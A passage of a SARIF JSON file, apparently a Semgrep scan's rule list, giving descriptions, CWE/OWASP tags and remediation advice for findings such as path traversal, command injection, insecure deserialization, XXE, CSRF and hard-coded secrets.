user input going into a `path.join` or `path.resolve` function. This could possibly lead to a path traversal vulnerability,  where the attacker can access arbitrary files stored in the file system. Instead, be sure to sanitize or validate user input first.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.path-traversal.path-join-resolve-traversal.path-join-resolve-traversal)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"Detected possible user input going into a `path.join` or `path.resolve` function. This could possibly lead to a path traversal vulnerability,  where the attacker can access arbitrary files stored in the file system. Instead, be sure to sanitize or validate user input first."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.path-traversal.path-join-resolve-traversal.path-join-resolve-traversal","id":"javascript.lang.security.audit.path-traversal.path-join-resolve-traversal.path-join-resolve-traversal","name":"javascript.lang.security.audit.path-traversal.path-join-resolve-traversal.path-join-resolve-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.path-traversal.path-join-resolve-traversal.path-join-resolve-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jose.security.jwt-hardcode.hardcoded-jwt-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.jose.security.jwt-hardcode.hardcoded-jwt-secret","id":"javascript.jose.security.jwt-hardcode.hardcoded-jwt-secret","name":"javascript.jose.security.jwt-hardcode.hardcoded-jwt-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jose.security.jwt-hardcode.hardcoded-jwt-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-default.tainted-os-command-stdlib-aws-lambda-secure-default)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module](https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-default.tainted-os-command-stdlib-aws-lambda-secure-default","id":"python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-default.tainted-os-command-stdlib-aws-lambda-secure-default","name":"python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-default.tainted-os-command-stdlib-aws-lambda-secure-default","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-default.tainted-os-command-stdlib-aws-lambda-secure-default"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"blockhash(block.number) and blockhash(block.number + N) always returns 0."},"help":{"markdown":"blockhash(block.number) and blockhash(block.number + N) always returns 0.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.incorrect-use-of-blockhash.incorrect-use-of-blockhash)\n - [https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620](https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620)\n","text":"blockhash(block.number) and blockhash(block.number + N) always returns 0."},"helpUri":"https://semgrep.dev/r/solidity.security.incorrect-use-of-blockhash.incorrect-use-of-blockhash","id":"solidity.security.incorrect-use-of-blockhash.incorrect-use-of-blockhash","name":"solidity.security.incorrect-use-of-blockhash.incorrect-use-of-blockhash","properties":{"precision":"very-high","tags":["CWE-341: Predictable from Observable State","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.incorrect-use-of-blockhash.incorrect-use-of-blockhash"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-shelve-django.tainted-shelve-django)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://docs.python.org/3/library/shelve.html](https://docs.python.org/3/library/shelve.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-shelve-django.tainted-shelve-django","id":"python.django.deserialization.tainted-shelve-django.tainted-shelve-django","name":"python.django.deserialization.tainted-shelve-django.tainted-shelve-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-shelve-django.tainted-shelve-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Call '.verify()' before using the token."},"help":{"markdown":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Call '.verify()' before using the token.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.java-jwt.security.audit.jwt-decode-without-verify.java-jwt-decode-without-verify)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Call '.verify()' before using the token."},"helpUri":"https://semgrep.dev/r/java.java-jwt.security.audit.jwt-decode-without-verify.java-jwt-decode-without-verify","id":"java.java-jwt.security.audit.jwt-decode-without-verify.java-jwt-decode-without-verify","name":"java.java-jwt.security.audit.jwt-decode-without-verify.java-jwt-decode-without-verify","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","MEDIUM CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.java-jwt.security.audit.jwt-decode-without-verify.java-jwt-decode-without-verify"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"AWS Account ID detected. While not considered sensitive information, it is important to use them and share them carefully. For that reason it would be preferrable avoiding to hardcoded it here. Instead, read the value from an environment variable or keep the value in a separate, private file."},"help":{"markdown":"AWS Account ID detected. While not considered sensitive information, it is important to use them and share them carefully. For that reason it would be preferrable avoiding to hardcoded it here. Instead, read the value from an environment variable or keep the value in a separate, private file.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-aws-account-id.detected-aws-account-id)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"AWS Account ID detected. While not considered sensitive information, it is important to use them and share them carefully. For that reason it would be preferrable avoiding to hardcoded it here. Instead, read the value from an environment variable or keep the value in a separate, private file."},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-aws-account-id.detected-aws-account-id","id":"generic.secrets.security.detected-aws-account-id.detected-aws-account-id","name":"generic.secrets.security.detected-aws-account-id.detected-aws-account-id","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-aws-account-id.detected-aws-account-id"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a unquoted template variable as an attribute. If unquoted, a malicious actor could inject custom JavaScript handlers. To fix this, add quotes around the template expression, like this: \"<%= expr %>\"."},"help":{"markdown":"Detected a unquoted template variable as an attribute. If unquoted, a malicious actor could inject custom JavaScript handlers. To fix this, add quotes around the template expression, like this: \"<%= expr %>\".\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.unquoted-attribute.unquoted-attribute)\n - [https://brakemanpro.com/2017/09/08/cross-site-scripting-in-rails#unquoted-attributes](https://brakemanpro.com/2017/09/08/cross-site-scripting-in-rails#unquoted-attributes)\n - [https://flask.palletsprojects.com/en/1.1.x/security/#cross-site-scripting-xss](https://flask.palletsprojects.com/en/1.1.x/security/#cross-site-scripting-xss)\n","text":"Detected a unquoted template variable as an attribute. If unquoted, a malicious actor could inject custom JavaScript handlers. To fix this, add quotes around the template expression, like this: \"<%= expr %>\"."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.unquoted-attribute.unquoted-attribute","id":"ruby.rails.security.audit.xss.templates.unquoted-attribute.unquoted-attribute","name":"ruby.rails.security.audit.xss.templates.unquoted-attribute.unquoted-attribute","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.templates.unquoted-attribute.unquoted-attribute"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gin.nosql.gin-mongo-nosql-taint.gin-mongo-nosqli-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/go.gin.nosql.gin-mongo-nosql-taint.gin-mongo-nosqli-taint","id":"go.gin.nosql.gin-mongo-nosql-taint.gin-mongo-nosqli-taint","name":"go.gin.nosql.gin-mongo-nosql-taint.gin-mongo-nosqli-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gin.nosql.gin-mongo-nosql-taint.gin-mongo-nosqli-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"DOCTYPE declarations are enabled for javax.xml.parsers.SAXParserFactory. Without prohibiting external entity declarations, this is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false."},"help":{"markdown":"DOCTYPE declarations are enabled for javax.xml.parsers.SAXParserFactory. Without prohibiting external entity declarations, this is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/clojure.lang.security.documentbuilderfactory-xxe.documentbuilderfactory-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://xerces.apache.org/xerces2-j/features.html](https://xerces.apache.org/xerces2-j/features.html)\n","text":"DOCTYPE declarations are enabled for javax.xml.parsers.SAXParserFactory. Without prohibiting external entity declarations, this is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false."},"helpUri":"https://semgrep.dev/r/clojure.lang.security.documentbuilderfactory-xxe.documentbuilderfactory-xxe","id":"clojure.lang.security.documentbuilderfactory-xxe.documentbuilderfactory-xxe","name":"clojure.lang.security.documentbuilderfactory-xxe.documentbuilderfactory-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: clojure.lang.security.documentbuilderfactory-xxe.documentbuilderfactory-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The `eval()` function evaluates JavaScript code represented as a string. Executing JavaScript from a string is an enormous security risk. It is far too easy for a bad actor to run arbitrary code when you use `eval()`. Ensure evaluated content is not definable by external sources."},"help":{"markdown":"The `eval()` function evaluates JavaScript code represented as a string. Executing JavaScript from a string is an enormous security risk. It is far too easy for a bad actor to run arbitrary code when you use `eval()`. Ensure evaluated content is not definable by external sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.tainted-eval.tainted-eval)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The `eval()` function evaluates JavaScript code represented as a string. Executing JavaScript from a string is an enormous security risk. It is far too easy for a bad actor to run arbitrary code when you use `eval()`. Ensure evaluated content is not definable by external sources."},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.tainted-eval.tainted-eval","id":"javascript.aws-lambda.security.tainted-eval.tainted-eval","name":"javascript.aws-lambda.security.tainted-eval.tainted-eval","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.tainted-eval.tainted-eval"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead."},"help":{"markdown":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-md5.use-of-md5)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-md5.use-of-md5","id":"java.lang.security.audit.crypto.use-of-md5.use-of-md5","name":"java.lang.security.audit.crypto.use-of-md5.use-of-md5","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-md5.use-of-md5"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. If this is intentional, remember that with `WTF_CSRF_CHECK_DEFAULT` set to `False` the CSRF tokens are still enabled and included, but the check no longer happens automatically, which weakens the security of the application. Doing the check manually requires a call to `csrf.protect()` before handling the request. An appropriate place to do this is a `@app.before_request` decorated function."},"help":{"markdown":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. If this is intentional, remember that with `WTF_CSRF_CHECK_DEFAULT` set to `False` the CSRF tokens are still enabled and included, but the check no longer happens automatically, which weakens the security of the application. Doing the check manually requires a call to `csrf.protect()` before handling the request. An appropriate place to do this is a `@app.before_request` decorated function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-wtf-csrf-check-default-false.flask-wtf-csrf-check-default-false)\n - [https://flask-wtf.readthedocs.io/en/1.2.x/config/](https://flask-wtf.readthedocs.io/en/1.2.x/config/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. If this is intentional, remember that with `WTF_CSRF_CHECK_DEFAULT` set to `False` the CSRF tokens are still enabled and included, but the check no longer happens automatically, which weakens the security of the application. Doing the check manually requires a call to `csrf.protect()` before handling the request. An appropriate place to do this is a `@app.before_request` decorated function."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-wtf-csrf-check-default-false.flask-wtf-csrf-check-default-false","id":"python.flask.web.flask-wtf-csrf-check-default-false.flask-wtf-csrf-check-default-false","name":"python.flask.web.flask-wtf-csrf-check-default-false.flask-wtf-csrf-check-default-false","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-wtf-csrf-check-default-false.flask-wtf-csrf-check-default-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'"},"help":{"markdown":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.audit.cookie-httponly-false.cookie-httponly-false)\n - [https://owasp.org/www-community/HttpOnly](https://owasp.org/www-community/HttpOnly)\n","text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'"},"helpUri":"https://semgrep.dev/r/java.servlets.security.audit.cookie-httponly-false.cookie-httponly-false","id":"java.servlets.security.audit.cookie-httponly-false.cookie-httponly-false","name":"java.servlets.security.audit.cookie-httponly-false.cookie-httponly-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.audit.cookie-httponly-false.cookie-httponly-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"HockeyApp detected"},"help":{"markdown":"HockeyApp detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-hockeyapp.detected-hockeyapp)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"HockeyApp detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-hockeyapp.detected-hockeyapp","id":"generic.secrets.security.detected-hockeyapp.detected-hockeyapp","name":"generic.secrets.security.detected-hockeyapp.detected-hockeyapp","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-hockeyapp.detected-hockeyapp"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"help":{"markdown":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.active-debug-code.ktor-development-mode-gradle.ktor-development-mode-gradle)\n - [https://ktor.io/docs/development-mode.html#application-conf](https://ktor.io/docs/development-mode.html#application-conf)\n","text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.active-debug-code.ktor-development-mode-gradle.ktor-development-mode-gradle","id":"kotlin.ktor.active-debug-code.ktor-development-mode-gradle.ktor-development-mode-gradle","name":"kotlin.ktor.active-debug-code.ktor-development-mode-gradle.ktor-development-mode-gradle","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.active-debug-code.ktor-development-mode-gradle.ktor-development-mode-gradle"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The 'add_header' directive is called in a 'location' block after headers have been set at the server block. Calling 'add_header' in the location block will actually overwrite the headers defined in the server block, no matter which headers are set. To fix this, explicitly set all headers or set all headers in the server block."},"help":{"markdown":"The 'add_header' directive is called in a 'location' block after headers have been set at the server block. Calling 'add_header' in the location block will actually overwrite the headers defined in the server block, no matter which headers are set. To fix this, explicitly set all headers or set all headers in the server block.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.header-redefinition.header-redefinition)\n - [https://github.com/yandex/gixy/blob/master/docs/en/plugins/addheaderredefinition.md](https://github.com/yandex/gixy/blob/master/docs/en/plugins/addheaderredefinition.md)\n","text":"The 'add_header' directive is called in a 'location' block after headers have been set at the server block. Calling 'add_header' in the location block will actually overwrite the headers defined in the server block, no matter which headers are set. To fix this, explicitly set all headers or set all headers in the server block."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.header-redefinition.header-redefinition","id":"generic.nginx.security.header-redefinition.header-redefinition","name":"generic.nginx.security.header-redefinition.header-redefinition","properties":{"precision":"very-high","tags":["CWE-16: CWE CATEGORY: Configuration","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.header-redefinition.header-redefinition"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'."},"help":{"markdown":"By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/dockerfile.security.missing-user.missing-user)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'."},"helpUri":"https://semgrep.dev/r/dockerfile.security.missing-user.missing-user","id":"dockerfile.security.missing-user.missing-user","name":"dockerfile.security.missing-user.missing-user","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: dockerfile.security.missing-user.missing-user"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The AWS Lambda permission has an AWS service principal but does not specify a source ARN. If you grant permission to a service principal without specifying the source, other accounts could potentially configure resources in their account to invoke 